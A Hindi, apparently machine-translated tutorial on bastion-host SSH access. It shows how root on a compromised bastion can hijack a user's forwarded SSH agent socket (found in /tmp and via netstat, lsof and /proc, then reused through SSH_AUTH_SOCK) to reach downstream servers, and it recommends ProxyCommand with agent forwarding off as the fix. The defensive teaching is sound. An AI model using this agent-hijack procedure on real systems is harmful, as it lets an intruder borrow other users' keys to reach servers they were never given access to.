मैंने ProxyJump के बारे में जवाब देखा। चलिए बात करते हैं ProxyCommand की ।
लेकिन ठहरो, ठहरो! मैं आपको लिख सकता हूं कि एजेंट अग्रेषण का उपयोग करने वाले सर्वर को कैसे हैक किया जाए , जो अंतर को समझने में बहुत आसान होगा!
चलो हैक करो!
मूल चरणों के लिए: आप यहाँ मेरी पोस्ट पढ़ सकते हैं
मूल चरण निम्नलिखित हैं:
- गढ़ उपयोगकर्ता बनाएँ
- रूट लॉगिन अक्षम करें
- हैकिंग के प्रयासों को ब्लॉक करें
- पोर्ट बदलें
- फ़ायरवॉल कॉन्फ़िगर करें
- SELinux कॉन्फ़िगर करें
AgentForwarding का उपयोग कैसे करें
~ / .Ssh / config में -Create config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
Ssh- एजेंट के लिए अपनी प्रमाणीकरण कुंजी जोड़ें
ssh-add ~/.ssh/name_rsa
-काटा जाना गढ़ना होस
ssh bast
-बैशन से एप्लिकेशन सर्वर को कनेक्ट करें
ssh app@IP -p PORT
हैकिंग!
तुम, ठीक है, मुझसे सवाल पूछ सकते हैं:
यदि आप गढ़ होस्ट से समझौता करते हैं तो सर्वर कैसे हैक करें?
ट्रैक लक्ष्य
/ Tmp निर्देशिका में आप ऐसा कुछ देख सकते हैं:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
अस्थायी फ़ाइल खोलें
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
आइए इस प्रक्रिया आईडी से कनेक्शन देखें ।
netstat -nxp | grep 10507
परिणाम:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
और कौन जुड़ा हुआ है
lsof -i -a -p 10507
परिणाम:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
हम सॉकेट फाइल भी देख सकते हैं:
cd /proc/10507/fd/
ls
परिणाम:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
और क्या होता है जब ग्राहक दूरस्थ सर्वर से जुड़ा होगा ? चलो देखते हैं:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
हम यह भी देख सकते हैं कि नेटस्टैट का उपयोग करके सॉकेट फ़ाइल का उपयोग किया जाता है या नहीं:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
सॉकेट जानकारी और आईपी पते को चोरी करें
अब हमें सॉकेट की जानकारी चुराने की ज़रूरत है, जबकि गढ़ होस्ट का सत्र खुला है । ओह, हमें डेस्टिनेशन सर्वर आईपी की भी आवश्यकता है , इसलिए सिर्फ नेटस्टैट का उपयोग करें:
netstat -tn
अंतिम चरण का उपयोग करने के अग्रेषित सॉकेट फ़ाइल
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
जांचें कि क्या कुंजी भरी हुई है ।
ssh-add -l
परिणाम कुछ इस तरह होना चाहिए :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
सर्वर हैक किया गया है, सुरक्षा समस्या को कैसे ठीक करें?
प्रॉक्सी कमांड
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
बुनियादी संचालन के लिए: सर्वर के माध्यम से फ़ाइलों को स्थानांतरित कैसे करें (क्लाइंट से सर्वर, सर्वर से क्लाइंट तक), आप यहां मेरी पोस्ट पर पढ़ सकते हैं
निष्कर्ष
- यदि आप गढ़ होस्ट का उपयोग करते हैं, तो AgentForwarding का उपयोग न करें बल्कि ProxyCommand का उपयोग करें
- प्रमाणीकरण के लिए हमेशा गैर-रूट उपयोगकर्ता का उपयोग करें
- एक फ़ायरवॉल का उपयोग करें और सभी अनावश्यक कनेक्शन को ब्लॉक करें।
- SELinux का उपयोग करें (सामान्य रूप से)
- IP पते को ब्लॉक करें जो कई बार गलत क्रेडेंशियल के साथ लॉग इन करने की कोशिश करता है
- यदि यह आवश्यक नहीं है तो उपयोगकर्ता को sudo की अनुमति न दें
- अपने सर्वर की निगरानी करें
- सुरक्षा पैच के लिए अपने सर्वर को अपडेट करें
अधिक जानकारी, मेरे को देखने के ब्लॉग । इसके अतिरिक्त मेरे पास कुछ स्क्रीन्सशॉट्स हैं, इसलिए यह आपके लिए उपयोगी हो सकता है।